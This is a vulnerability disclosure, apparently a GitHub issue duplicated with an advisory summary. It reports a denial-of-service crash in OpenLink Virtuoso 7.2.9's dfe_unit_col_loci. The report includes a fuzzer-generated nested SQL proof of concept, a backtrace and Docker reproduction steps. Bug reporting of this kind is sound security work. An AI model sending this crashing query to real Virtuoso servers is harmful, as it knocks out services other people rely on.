An issue in the dfe_unit_col_loci component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.
The PoC is generated by my DBMS fuzzer.
```SQL
CREATE TABLE b (
      folders VARCHAR(80),
      folderid VARCHAR(80),
      parentid VARCHAR(80),
      rootid VARCHAR(80),
      c INTEGER,
      path VARCHAR(80),
      id VARCHAR(80),
      i VARCHAR(80),
      d VARCHAR(80),
      e VARCHAR(80),
      f VARCHAR(80)
    );
SELECT case b.d when coalesce((select max(17+coalesce((select max(coalesce((select (select count(distinct case f when 19 then coalesce((select coalesce((select max(11-(abs(d)/abs(11))) from b where not  -c in (19,b.d,17)),17) from b where (f in (d,f,b.c))),d) else d end) from b) from b where 17 between e and b.f),b.c)) from b where 13>=e),d)) from b where b.f>b.f),b.d) then 17 else b.f end FROM b WHERE not exists(select 1 from b where 13 between c+17 and (b.id));
```
backtrace:
```c
#0 0x739343 (dfe_unit_col_loci+0x1393)
#1 0x739030 (dfe_unit_col_loci+0x1080)
#2 0x747e8c (sqlg_top_1+0x7c)
#3 0x70d4d4 (sqlo_top_select+0x164)
#4 0x6b72bf (sql_stmt_comp+0x8bf)
#5 0x6ba122 (sql_compile_1+0x1a62)
#6 0x7c8cd0 (stmt_set_query+0x340)
#7 0x7cabc2 (sf_sql_execute+0x922)
#8 0x7cbf4e (sf_sql_execute_w+0x17e)
#9 0x7d4c0d (sf_sql_execute_wrapper+0x3d)
#10 0xe1f01c (future_wrapper+0x3fc)
#11 0xe2691e (_thread_boot+0x11e)
#12 0x7fb2a20b9609 (start_thread+0xd9)
#13 0x7fb2a1e89133 (clone+0x43)
```

ways to reproduce (write poc to the file '/tmp/test.sql' first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
docker exec -i virtdb_test isql 1111 dba < "/tmp/test.sql"
```
virtuoso 7.2.9 crashed at dfe_unit_col_loci
This is a GitHub Issue
repo:virtuoso-opensource
owner:openlink
Title : virtuoso 7.2.9 crashed at dfe_unit_col_loci
Issue date:

--- start body ---
The PoC is generated by my DBMS fuzzer.
```SQL
CREATE TABLE b (
      folders VARCHAR(80),
      folderid VARCHAR(80),
      parentid VARCHAR(80),
      rootid VARCHAR(80),
      c INTEGER,
      path VARCHAR(80),
      id VARCHAR(80),
      i VARCHAR(80),
      d VARCHAR(80),
      e VARCHAR(80),
      f VARCHAR(80)
    );
SELECT case b.d when coalesce((select max(17+coalesce((select max(coalesce((select (select count(distinct case f when 19 then coalesce((select coalesce((select max(11-(abs(d)/abs(11))) from b where not  -c in (19,b.d,17)),17) from b where (f in (d,f,b.c))),d) else d end) from b) from b where 17 between e and b.f),b.c)) from b where 13>=e),d)) from b where b.f>b.f),b.d) then 17 else b.f end FROM b WHERE not exists(select 1 from b where 13 between c+17 and (b.id));
```
backtrace:
```c
#0 0x739343 (dfe_unit_col_loci+0x1393)
#1 0x739030 (dfe_unit_col_loci+0x1080)
#2 0x747e8c (sqlg_top_1+0x7c)
#3 0x70d4d4 (sqlo_top_select+0x164)
#4 0x6b72bf (sql_stmt_comp+0x8bf)
#5 0x6ba122 (sql_compile_1+0x1a62)
#6 0x7c8cd0 (stmt_set_query+0x340)
#7 0x7cabc2 (sf_sql_execute+0x922)
#8 0x7cbf4e (sf_sql_execute_w+0x17e)
#9 0x7d4c0d (sf_sql_execute_wrapper+0x3d)
#10 0xe1f01c (future_wrapper+0x3fc)
#11 0xe2691e (_thread_boot+0x11e)
#12 0x7fb2a20b9609 (start_thread+0xd9)
#13 0x7fb2a1e89133 (clone+0x43)
```

ways to reproduce (write poc to the file '/tmp/test.sql' first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
docker exec -i virtdb_test isql 1111 dba < "/tmp/test.sql"
```
--- end body ---
